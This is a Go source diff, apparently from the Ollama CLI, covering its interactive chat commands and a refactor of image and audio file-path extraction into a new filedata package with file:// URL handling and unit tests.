|
||||
} else {
|
||||
usageSet()
|
||||
}
|
||||
case strings.HasPrefix(line, "/show"):
|
||||
args := strings.Fields(line)
|
||||
if len(args) > 1 {
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
fmt.Println("error: couldn't connect to ollama server")
|
||||
return err
|
||||
}
|
||||
req := &api.ShowRequest{
|
||||
Name: opts.Model,
|
||||
System: opts.System,
|
||||
Options: opts.Options,
|
||||
}
|
||||
resp, err := client.Show(cmd.Context(), req)
|
||||
if err != nil {
|
||||
fmt.Println("error: couldn't get model")
|
||||
return err
|
||||
}
|
||||
|
||||
switch args[1] {
|
||||
case "info":
|
||||
_ = showInfo(resp, false, os.Stderr)
|
||||
case "license":
|
||||
if resp.License == "" {
|
||||
fmt.Println("No license was specified for this model.")
|
||||
} else {
|
||||
fmt.Println(resp.License)
|
||||
}
|
||||
case "modelfile":
|
||||
fmt.Println(resp.Modelfile)
|
||||
case "parameters":
|
||||
fmt.Println("Model defined parameters:")
|
||||
if resp.Parameters == "" {
|
||||
fmt.Println(" No additional parameters were specified for this model.")
|
||||
} else {
|
||||
for _, l := range strings.Split(resp.Parameters, "\n") {
|
||||
fmt.Printf(" %s\n", l)
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
if len(opts.Options) > 0 {
|
||||
fmt.Println("User defined parameters:")
|
||||
for k, v := range opts.Options {
|
||||
fmt.Printf(" %-*s %v\n", 30, k, v)
|
||||
}
|
||||
fmt.Println()
|
||||
}
|
||||
case "system":
|
||||
switch {
|
||||
case opts.System != "":
|
||||
fmt.Println(opts.System + "\n")
|
||||
case resp.System != "":
|
||||
fmt.Println(resp.System + "\n")
|
||||
default:
|
||||
fmt.Println("No system message was specified for this model.")
|
||||
}
|
||||
case "template":
|
||||
if resp.Template != "" {
|
||||
fmt.Println(resp.Template)
|
||||
} else {
|
||||
fmt.Println("No prompt template was specified for this model.")
|
||||
}
|
||||
default:
|
||||
fmt.Printf("Unknown command '/show %s'. Type /? for help\n", args[1])
|
||||
}
|
||||
} else {
|
||||
usageShow()
|
||||
}
|
||||
case strings.HasPrefix(line, "/help"), strings.HasPrefix(line, "/?"):
|
||||
args := strings.Fields(line)
|
||||
if len(args) > 1 {
|
||||
switch args[1] {
|
||||
case "set", "/set":
|
||||
usageSet()
|
||||
case "show", "/show":
|
||||
usageShow()
|
||||
case "shortcut", "shortcuts":
|
||||
usageShortcuts()
|
||||
}
|
||||
} else {
|
||||
usage()
|
||||
}
|
||||
case strings.HasPrefix(line, "/exit"), strings.HasPrefix(line, "/bye"):
|
||||
return nil
|
||||
case strings.HasPrefix(line, "/"):
|
||||
args := strings.Fields(line)
|
||||
isFile := false
|
||||
|
||||
if opts.MultiModal {
|
||||
for _, f := range extractFileNames(line) {
|
||||
if strings.HasPrefix(f, args[0]) {
|
||||
isFile = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !isFile {
|
||||
fmt.Printf("Unknown command '%s'. Type /? for help\n", args[0])
|
||||
continue
|
||||
}
|
||||
|
||||
sb.WriteString(line)
|
||||
default:
|
||||
sb.WriteString(line)
|
||||
}
|
||||
|
||||
if sb.Len() > 0 && multiline == MultilineNone {
|
||||
newMessage := api.Message{Role: "user", Content: sb.String()}
|
||||
|
||||
if opts.MultiModal {
|
||||
msg, images, err := extractFileData(sb.String())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
newMessage.Content = msg
|
||||
newMessage.Images = images
|
||||
}
|
||||
|
||||
opts.Messages = append(opts.Messages, newMessage)
|
||||
|
||||
assistant, err := chat(cmd, opts)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "does not support thinking") ||
|
||||
strings.Contains(err.Error(), "invalid think value") {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
sb.Reset()
|
||||
continue
|
||||
}
|
||||
return err
|
||||
}
|
||||
if assistant != nil {
|
||||
opts.Messages = append(opts.Messages, *assistant)
|
||||
}
|
||||
|
||||
sb.Reset()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func NewCreateRequest(name string, opts runOptions) *api.CreateRequest {
|
||||
parentModel := opts.ParentModel
|
||||
|
||||
modelName := model.ParseName(parentModel)
|
||||
if !modelName.IsValid() {
|
||||
parentModel = ""
|
||||
}
|
||||
|
||||
// Preserve explicit cloud intent for sessions started with `:cloud`.
|
||||
// Cloud model metadata can return a source-less parent_model (for example
|
||||
// "qwen3.5"), which would otherwise make `/save` create a local derivative.
|
||||
if modelref.HasExplicitCloudSource(opts.Model) && !modelref.HasExplicitCloudSource(parentModel) {
|
||||
parentModel = ""
|
||||
}
|
||||
|
||||
req := &api.CreateRequest{
|
||||
Model: name,
|
||||
From: cmp.Or(parentModel, opts.Model),
|
||||
}
|
||||
|
||||
if opts.System != "" {
|
||||
req.System = opts.System
|
||||
}
|
||||
|
||||
if len(opts.Options) > 0 {
|
||||
req.Parameters = opts.Options
|
||||
}
|
||||
|
||||
messages := slices.Clone(opts.LoadedMessages)
|
||||
messages = append(messages, opts.Messages...)
|
||||
if len(messages) > 0 {
|
||||
req.Messages = messages
|
||||
}
|
||||
|
||||
return req
|
||||
}
|
||||
|
||||
func normalizeFilePath(fp string) string {
|
||||
return strings.NewReplacer(
|
||||
"\\ ", " ", // Escaped space
|
||||
"\\(", "(", // Escaped left parenthesis
|
||||
"\\)", ")", // Escaped right parenthesis
|
||||
"\\[", "[", // Escaped left square bracket
|
||||
"\\]", "]", // Escaped right square bracket
|
||||
"\\{", "{", // Escaped left curly brace
|
||||
"\\}", "}", // Escaped right curly brace
|
||||
"\\$", "$", // Escaped dollar sign
|
||||
"\\&", "&", // Escaped ampersand
|
||||
"\\;", ";", // Escaped semicolon
|
||||
"\\'", "'", // Escaped single quote
|
||||
"\\\\", "\\", // Escaped backslash
|
||||
"\\*", "*", // Escaped asterisk
|
||||
"\\?", "?", // Escaped question mark
|
||||
"\\~", "~", // Escaped tilde
|
||||
).Replace(fp)
|
||||
}
|
||||
|
||||
func extractFileNames(input string) []string {
|
||||
// Regex to match file paths starting with optional drive letter, / ./ \ or .\ and include escaped or unescaped spaces (\ or %20)
|
||||
// and followed by more characters and a file extension
|
||||
// This will capture non filename strings, but we'll check for file existence to remove mismatches
|
||||
regexPattern := `(?:[a-zA-Z]:)?(?:\./|/|\\)[\S\\ ]+?\.(?i:jpg|jpeg|png|webp|wav)\b`
|
||||
re := regexp.MustCompile(regexPattern)
|
||||
|
||||
return re.FindAllString(input, -1)
|
||||
}
|
||||
|
||||
func extractFileData(input string) (string, []api.ImageData, error) {
|
||||
filePaths := extractFileNames(input)
|
||||
var imgs []api.ImageData
|
||||
|
||||
for _, fp := range filePaths {
|
||||
nfp := normalizeFilePath(fp)
|
||||
data, err := getImageData(nfp)
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
continue
|
||||
} else if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Couldn't process file: %q\n", err)
|
||||
return "", imgs, err
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(nfp))
|
||||
switch ext {
|
||||
case ".wav":
|
||||
fmt.Fprintf(os.Stderr, "Added audio '%s'\n", nfp)
|
||||
default:
|
||||
fmt.Fprintf(os.Stderr, "Added image '%s'\n", nfp)
|
||||
}
|
||||
input = strings.ReplaceAll(input, "'"+nfp+"'", "")
|
||||
input = strings.ReplaceAll(input, "'"+fp+"'", "")
|
||||
input = strings.ReplaceAll(input, fp, "")
|
||||
imgs = append(imgs, data)
|
||||
}
|
||||
return strings.TrimSpace(input), imgs, nil
|
||||
}
|
||||
|
||||
func editInExternalEditor(content string) (string, error) {
|
||||
editor := envconfig.Editor()
|
||||
if editor == "" {
|
||||
editor = os.Getenv("VISUAL")
|
||||
}
|
||||
if editor == "" {
|
||||
editor = os.Getenv("EDITOR")
|
||||
}
|
||||
if editor == "" {
|
||||
editor = defaultEditor
|
||||
}
|
||||
|
||||
// Check that the editor binary exists
|
||||
name := strings.Fields(editor)[0]
|
||||
if _, err := exec.LookPath(name); err != nil {
|
||||
return "", fmt.Errorf("editor %q not found, set OLLAMA_EDITOR to the path of your preferred editor", name)
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "ollama-prompt-*.txt")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("creating temp file: %w", err)
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
|
||||
if content != "" {
|
||||
if _, err := tmpFile.WriteString(content); err != nil {
|
||||
tmpFile.Close()
|
||||
return "", fmt.Errorf("writing to temp file: %w", err)
|
||||
}
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
args := strings.Fields(editor)
|
||||
args = append(args, tmpFile.Name())
|
||||
cmd := exec.Command(args[0], args[1:]...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("editor exited with error: %w", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(tmpFile.Name())
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("reading temp file: %w", err)
|
||||
}
|
||||
|
||||
return strings.TrimRight(string(data), "\n"), nil
|
||||
}
|
||||
|
||||
func getImageData(filePath string) ([]byte, error) {
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
buf := make([]byte, 512)
|
||||
_, err = file.Read(buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
contentType := http.DetectContentType(buf)
|
||||
allowedTypes := []string{"image/jpeg", "image/jpg", "image/png", "image/webp", "audio/wave"}
|
||||
if !slices.Contains(allowedTypes, contentType) {
|
||||
return nil, fmt.Errorf("invalid file type: %s", contentType)
|
||||
}
|
||||
|
||||
info, err := file.Stat()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var maxSize int64 = 100 * 1024 * 1024 // 100MB
|
||||
if info.Size() > maxSize {
|
||||
return nil, errors.New("file size exceeds maximum limit (100MB)")
|
||||
}
|
||||
|
||||
buf = make([]byte, info.Size())
|
||||
_, err = file.Seek(0, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
_, err = io.ReadFull(file, buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return buf, nil
|
||||
}
|
||||
@@ -1,116 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
)
|
||||
|
||||
func TestExtractFilenames(t *testing.T) {
|
||||
// Unix style paths
|
||||
input := ` some preamble
|
||||
./relative\ path/one.png inbetween1 ./not a valid two.jpg inbetween2 ./1.svg
|
||||
/unescaped space /three.jpeg inbetween3 /valid\ path/dir/four.png "./quoted with spaces/five.JPG
|
||||
/unescaped space /six.webp inbetween6 /valid\ path/dir/seven.WEBP`
|
||||
res := extractFileNames(input)
|
||||
assert.Len(t, res, 7)
|
||||
assert.Contains(t, res[0], "one.png")
|
||||
assert.Contains(t, res[1], "two.jpg")
|
||||
assert.Contains(t, res[2], "three.jpeg")
|
||||
assert.Contains(t, res[3], "four.png")
|
||||
assert.Contains(t, res[4], "five.JPG")
|
||||
assert.Contains(t, res[5], "six.webp")
|
||||
assert.Contains(t, res[6], "seven.WEBP")
|
||||
assert.NotContains(t, res[4], '"')
|
||||
assert.NotContains(t, res, "inbetween1")
|
||||
assert.NotContains(t, res, "./1.svg")
|
||||
|
||||
// Windows style paths
|
||||
input = ` some preamble
|
||||
c:/users/jdoe/one.png inbetween1 c:/program files/someplace/two.jpg inbetween2
|
||||
/absolute/nospace/three.jpeg inbetween3 /absolute/with space/four.png inbetween4
|
||||
./relative\ path/five.JPG inbetween5 "./relative with/spaces/six.png inbetween6
|
||||
d:\path with\spaces\seven.JPEG inbetween7 c:\users\jdoe\eight.png inbetween8
|
||||
d:\program files\someplace\nine.png inbetween9 "E:\program files\someplace\ten.PNG
|
||||
c:/users/jdoe/eleven.webp inbetween11 c:/program files/someplace/twelve.WebP inbetween12
|
||||
d:\path with\spaces\thirteen.WEBP some ending
|
||||
`
|
||||
res = extractFileNames(input)
|
||||
assert.Len(t, res, 13)
|
||||
assert.NotContains(t, res, "inbetween2")
|
||||
assert.Contains(t, res[0], "one.png")
|
||||
assert.Contains(t, res[0], "c:")
|
||||
assert.Contains(t, res[1], "two.jpg")
|
||||
assert.Contains(t, res[1], "c:")
|
||||
assert.Contains(t, res[2], "three.jpeg")
|
||||
assert.Contains(t, res[3], "four.png")
|
||||
assert.Contains(t, res[4], "five.JPG")
|
||||
assert.Contains(t, res[5], "six.png")
|
||||
assert.Contains(t, res[6], "seven.JPEG")
|
||||
assert.Contains(t, res[6], "d:")
|
||||
assert.Contains(t, res[7], "eight.png")
|
||||
assert.Contains(t, res[7], "c:")
|
||||
assert.Contains(t, res[8], "nine.png")
|
||||
assert.Contains(t, res[8], "d:")
|
||||
assert.Contains(t, res[9], "ten.PNG")
|
||||
assert.Contains(t, res[9], "E:")
|
||||
assert.Contains(t, res[10], "eleven.webp")
|
||||
assert.Contains(t, res[10], "c:")
|
||||
assert.Contains(t, res[11], "twelve.WebP")
|
||||
assert.Contains(t, res[11], "c:")
|
||||
assert.Contains(t, res[12], "thirteen.WEBP")
|
||||
assert.Contains(t, res[12], "d:")
|
||||
}
|
||||
|
||||
// Ensure that file paths wrapped in single quotes are removed with the quotes.
|
||||
func TestExtractFileDataRemovesQuotedFilepath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
fp := filepath.Join(dir, "img.jpg")
|
||||
data := make([]byte, 600)
|
||||
copy(data, []byte{
|
||||
0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F',
|
||||
0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xff, 0xd9,
|
||||
})
|
||||
if err := os.WriteFile(fp, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write test image: %v", err)
|
||||
}
|
||||
|
||||
input := "before '" + fp + "' after"
|
||||
cleaned, imgs, err := extractFileData(input)
|
||||
assert.NoError(t, err)
|
||||
assert.Len(t, imgs, 1)
|
||||
assert.Equal(t, cleaned, "before after")
|
||||
}
|
||||
|
||||
func TestExtractFileDataWAV(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
fp := filepath.Join(dir, "sample.wav")
|
||||
data := make([]byte, 600)
|
||||
copy(data[:44], []byte{
|
||||
'R', 'I', 'F', 'F',
|
||||
0x58, 0x02, 0x00, 0x00, // file size - 8
|
||||
'W', 'A', 'V', 'E',
|
||||
'f', 'm', 't', ' ',
|
||||
0x10, 0x00, 0x00, 0x00, // fmt chunk size
|
||||
0x01, 0x00, // PCM
|
||||
0x01, 0x00, // mono
|
||||
0x80, 0x3e, 0x00, 0x00, // 16000 Hz
|
||||
0x00, 0x7d, 0x00, 0x00, // byte rate
|
||||
0x02, 0x00, // block align
|
||||
0x10, 0x00, // 16-bit
|
||||
'd', 'a', 't', 'a',
|
||||
0x34, 0x02, 0x00, 0x00, // data size
|
||||
})
|
||||
if err := os.WriteFile(fp, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write test audio: %v", err)
|
||||
}
|
||||
|
||||
input := "before " + fp + " after"
|
||||
cleaned, imgs, err := extractFileData(input)
|
||||
assert.NoError(t, err)
|
||||
assert.Len(t, imgs, 1)
|
||||
assert.Equal(t, "before after", cleaned)
|
||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
package filedata
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type File struct {
|
||||
Path string
|
||||
Data api.ImageData
|
||||
}
|
||||
|
||||
func NormalizePath(fp string) string {
|
||||
fp = strings.Trim(fp, "\"")
|
||||
fp = strings.NewReplacer(
|
||||
"\\ ", " ",
|
||||
"\\(", "(",
|
||||
"\\)", ")",
|
||||
"\\[", "[",
|
||||
"\\]", "]",
|
||||
"\\{", "{",
|
||||
"\\}", "}",
|
||||
"\\$", "$",
|
||||
"\\&", "&",
|
||||
"\\;", ";",
|
||||
"\\'", "'",
|
||||
"\\\\", "\\",
|
||||
"\\*", "*",
|
||||
"\\?", "?",
|
||||
"\\~", "~",
|
||||
).Replace(fp)
|
||||
|
||||
if u, err := url.Parse(fp); err == nil && strings.EqualFold(u.Scheme, "file") {
|
||||
return normalizeFileURL(u)
|
||||
} else if normalized, ok := normalizeMalformedFileURL(fp); ok {
|
||||
return normalized
|
||||
}
|
||||
|
||||
return fp
|
||||
}
|
||||
|
||||
func ExtractNames(input string) []string {
|
||||
regexPattern := `(?:file://\S+?\.(?i:jpg|jpeg|png|webp|wav)\b)|(?:(?:[a-zA-Z]:)?(?:\./|\.\\|/|\\)[\S\\ ]+?\.(?i:jpg|jpeg|png|webp|wav)\b)`
|
||||
re := regexp.MustCompile(regexPattern)
|
||||
|
||||
return re.FindAllString(input, -1)
|
||||
}
|
||||
|
||||
func Extract(input string) (string, []api.ImageData, error) {
|
||||
cleaned, files, err := ExtractWithFiles(input)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
data := make([]api.ImageData, 0, len(files))
|
||||
for _, file := range files {
|
||||
data = append(data, file.Data)
|
||||
}
|
||||
return cleaned, data, nil
|
||||
}
|
||||
|
||||
func ExtractWithFiles(input string) (string, []File, error) {
|
||||
filePaths := ExtractNames(input)
|
||||
var files []File
|
||||
|
||||
for _, fp := range filePaths {
|
||||
nfp := NormalizePath(fp)
|
||||
data, err := GetData(nfp)
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
continue
|
||||
} else if err != nil {
|
||||
return "", files, fmt.Errorf("couldn't process file %q: %w", nfp, err)
|
||||
}
|
||||
input = strings.ReplaceAll(input, "'"+nfp+"'", "")
|
||||
input = strings.ReplaceAll(input, "'"+fp+"'", "")
|
||||
input = strings.ReplaceAll(input, `"`+nfp+`"`, "")
|
||||
input = strings.ReplaceAll(input, `"`+fp+`"`, "")
|
||||
input = strings.ReplaceAll(input, fp, "")
|
||||
files = append(files, File{Path: nfp, Data: data})
|
||||
}
|
||||
return strings.TrimSpace(input), files, nil
|
||||
}
|
||||
|
||||
func GetData(filePath string) ([]byte, error) {
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
buf := make([]byte, 512)
|
||||
_, err = file.Read(buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
contentType := http.DetectContentType(buf)
|
||||
allowedTypes := []string{"image/jpeg", "image/jpg", "image/png", "image/webp", "audio/wave"}
|
||||
if !slices.Contains(allowedTypes, contentType) {
|
||||
return nil, fmt.Errorf("invalid file type: %s", contentType)
|
||||
}
|
||||
|
||||
info, err := file.Stat()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var maxSize int64 = 100 * 1024 * 1024
|
||||
if info.Size() > maxSize {
|
||||
return nil, errors.New("file size exceeds maximum limit (100MB)")
|
||||
}
|
||||
|
||||
buf = make([]byte, info.Size())
|
||||
_, err = file.Seek(0, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
_, err = io.ReadFull(file, buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
func Kind(path string) string {
|
||||
if strings.EqualFold(filepath.Ext(path), ".wav") {
|
||||
return "audio"
|
||||
}
|
||||
return "image"
|
||||
}
|
||||
|
||||
func normalizeFileURL(u *url.URL) string {
|
||||
path := u.Path
|
||||
if unescaped, err := url.PathUnescape(path); err == nil {
|
||||
path = unescaped
|
||||
}
|
||||
host := u.Host
|
||||
if unescaped, err := url.PathUnescape(host); err == nil {
|
||||
host = unescaped
|
||||
}
|
||||
if len(host) >= 2 && host[1] == ':' && isASCIIAlpha(host[0]) {
|
||||
return filepath.Clean(filepath.FromSlash(host + path))
|
||||
}
|
||||
if len(path) >= 4 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
|
||||
path = path[1:]
|
||||
}
|
||||
if u.Host != "" && !strings.EqualFold(u.Host, "localhost") {
|
||||
return `\\` + u.Host + filepath.FromSlash(path)
|
||||
}
|
||||
return filepath.FromSlash(path)
|
||||
}
|
||||
|
||||
func normalizeMalformedFileURL(raw string) (string, bool) {
|
||||
const prefix = "file://"
|
||||
if !strings.HasPrefix(strings.ToLower(raw), prefix) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
path := raw[len(prefix):]
|
||||
if unescaped, err := url.PathUnescape(path); err == nil {
|
||||
path = unescaped
|
||||
}
|
||||
path = strings.TrimPrefix(path, "localhost")
|
||||
if len(path) >= 3 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
|
||||
path = path[1:]
|
||||
}
|
||||
if len(path) >= 2 && path[1] == ':' && isASCIIAlpha(path[0]) {
|
||||
return filepath.Clean(filepath.FromSlash(path)), true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
func isASCIIAlpha(b byte) bool {
|
||||
return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
package filedata
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestNormalizePathMalformedWindowsFileURL(t *testing.T) {
|
||||
got := NormalizePath(`file://C:%5CUsers%5Cjdoe%5CPictures%5Cimg.png`)
|
||||
want := filepath.Clean(`C:\Users\jdoe\Pictures\img.png`)
|
||||
if got != want {
|
||||
t.Fatalf("path = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizePathTwoSlashWindowsFileURL(t *testing.T) {
|
||||
got := NormalizePath(`file://C:/Users/jdoe/Pictures/img.png`)
|
||||
want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
|
||||
if got != want {
|
||||
t.Fatalf("path = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizePathLocalhostWindowsFileURL(t *testing.T) {
|
||||
got := NormalizePath(`file://localhost/C:/Users/jdoe/Pictures/img.png`)
|
||||
want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
|
||||
if got != want {
|
||||
t.Fatalf("path = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractNames(t *testing.T) {
|
||||
// Unix style paths
|
||||
input := ` some preamble
|
||||
./relative\ path/one.png inbetween1 ./not a valid two.jpg inbetween2 ./1.svg
|
||||
/unescaped space /three.jpeg inbetween3 /valid\ path/dir/four.png "./quoted with spaces/five.JPG
|
||||
/unescaped space /six.webp inbetween6 /valid\ path/dir/seven.WEBP`
|
||||
res := ExtractNames(input)
|
||||
if len(res) != 7 {
|
||||
t.Fatalf("len = %d, want 7", len(res))
|
||||
}
|
||||
assertContains(t, res[0], "one.png")
|
||||
assertContains(t, res[1], "two.jpg")
|
||||
assertContains(t, res[2], "three.jpeg")
|
||||
assertContains(t, res[3], "four.png")
|
||||
assertContains(t, res[4], "five.JPG")
|
||||
assertContains(t, res[5], "six.webp")
|
||||
assertContains(t, res[6], "seven.WEBP")
|
||||
assertNotContains(t, res[4], "\"")
|
||||
for _, r := range res {
|
||||
assertNotContains(t, r, "inbetween1")
|
||||
}
|
||||
assertNotContainsSlice(t, res, "./1.svg")
|
||||
}
|
||||
|
||||
func TestExtractNamesWindowsPaths(t *testing.T) {
|
||||
input := ` some preamble
|
||||
c:/users/jdoe/one.png inbetween1 c:/program files/someplace/two.jpg inbetween2
|
||||
/absolute/nospace/three.jpeg inbetween3 /absolute/with space/four.png inbetween4
|
||||
./relative\ path/five.JPG inbetween5 "./relative with/spaces/six.png inbetween6
|
||||
d:\path with\spaces\seven.JPEG inbetween7 c:\users\jdoe\eight.png inbetween8
|
||||
d:\program files\someplace\nine.png inbetween9 "E:\program files\someplace\ten.PNG
|
||||
c:/users/jdoe/eleven.webp inbetween11 c:/program files/someplace/twelve.WebP inbetween12
|
||||
d:\path with\spaces\thirteen.WEBP some ending
|
||||
`
|
||||
res := ExtractNames(input)
|
||||
if len(res) != 13 {
|
||||
t.Fatalf("len = %d, want 13", len(res))
|
||||
}
|
||||
assertNotContainsSlice(t, res, "inbetween2")
|
||||
assertContains(t, res[0], "one.png")
|
||||
assertContains(t, res[0], "c:")
|
||||
assertContains(t, res[1], "two.jpg")
|
||||
assertContains(t, res[1], "c:")
|
||||
assertContains(t, res[2], "three.jpeg")
|
||||
assertContains(t, res[3], "four.png")
|
||||
assertContains(t, res[4], "five.JPG")
|
||||
assertContains(t, res[5], "six.png")
|
||||
assertContains(t, res[6], "seven.JPEG")
|
||||
assertContains(t, res[6], "d:")
|
||||
assertContains(t, res[7], "eight.png")
|
||||
assertContains(t, res[7], "c:")
|
||||
assertContains(t, res[8], "nine.png")
|
||||
assertContains(t, res[8], "d:")
|
||||
assertContains(t, res[9], "ten.PNG")
|
||||
assertContains(t, res[9], "E:")
|
||||
assertContains(t, res[10], "eleven.webp")
|
||||
assertContains(t, res[10], "c:")
|
||||
assertContains(t, res[11], "twelve.WebP")
|
||||
assertContains(t, res[11], "c:")
|
||||
assertContains(t, res[12], "thirteen.WEBP")
|
||||
assertContains(t, res[12], "d:")
|
||||
}
|
||||
|
||||
func TestExtractNamesDragDropPaths(t *testing.T) {
|
||||
input := `file:///Users/jdoe/Pictures/one.png file://localhost/C:/Users/jdoe/Pictures/two.webp file:///C:/Users/jdoe/Pictures/three.jpg .\relative\four.png`
|
||||
res := ExtractNames(input)
|
||||
if len(res) != 4 {
|
||||
t.Fatalf("len = %d, want 4", len(res))
|
||||
}
|
||||
assertContains(t, res[0], "file:///Users/jdoe/Pictures/one.png")
|
||||
assertContains(t, res[1], "file://localhost/C:/Users/jdoe/Pictures/two.webp")
|
||||
assertContains(t, res[2], "file:///C:/Users/jdoe/Pictures/three.jpg")
|
||||
assertContains(t, res[3], `.\relative\four.png`)
|
||||
}
|
||||
|
||||
func TestNormalizePathFileURL(t *testing.T) {
|
||||
got := NormalizePath("file:///C:/Users/jdoe/Pictures/img.png")
|
||||
want := filepath.FromSlash("C:/Users/jdoe/Pictures/img.png")
|
||||
if got != want {
|
||||
t.Fatalf("path = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractRemovesQuotedFilepath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
fp := filepath.Join(dir, "img.jpg")
|
||||
data := make([]byte, 600)
|
||||
copy(data, []byte{
|
||||
0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F',
|
||||
0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xff, 0xd9,
|
||||
})
|
||||
if err := os.WriteFile(fp, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write test image: %v", err)
|
||||
}
|
||||
|
||||
input := "before '" + fp + "' after"
|
||||
cleaned, imgs, err := Extract(input)
|
||||
if err != nil {
|
||||
t.Fatalf("err: %v", err)
|
||||
}
|
||||
if len(imgs) != 1 {
|
||||
t.Fatalf("imgs = %d, want 1", len(imgs))
|
||||
}
|
||||
if cleaned != "before after" {
|
||||
t.Fatalf("cleaned = %q, want %q", cleaned, "before after")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractFileURL(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
fp := filepath.Join(dir, "img.png")
|
||||
data := make([]byte, 600)
|
||||
copy(data, []byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
|
||||
if err := os.WriteFile(fp, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write test image: %v", err)
|
||||
}
|
||||
|
||||
fileURL := (&url.URL{Scheme: "file", Path: fp}).String()
|
||||
cleaned, imgs, err := Extract("before " + fileURL + " after")
|
||||
if err != nil {
|
||||
t.Fatalf("err: %v", err)
|
||||
}
|
||||
if len(imgs) != 1 {
|
||||
t.Fatalf("imgs = %d, want 1", len(imgs))
|
||||
}
|
||||
if cleaned != "before after" {
|
||||
t.Fatalf("cleaned = %q, want %q", cleaned, "before after")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractWAV(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
fp := filepath.Join(dir, "sample.wav")
|
||||
data := make([]byte, 600)
|
||||
copy(data[:44], []byte{
|
||||
'R', 'I', 'F', 'F',
|
||||
0x58, 0x02, 0x00, 0x00,
|
||||
'W', 'A', 'V', 'E',
|
||||
'f', 'm', 't', ' ',
|
||||
0x10, 0x00, 0x00, 0x00,
|
||||
0x01, 0x00,
|
||||
0x01, 0x00,
|
||||
0x80, 0x3e, 0x00, 0x00,
|
||||
0x00, 0x7d, 0x00, 0x00,
|
||||
0x02, 0x00,
|
||||
0x10, 0x00,
|
||||
'd', 'a', 't', 'a',
|
||||
0x34, 0x02, 0x00, 0x00,
|
||||
})
|
||||
if err := os.WriteFile(fp, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write test audio: %v", err)
|
||||
}
|
||||
|
||||
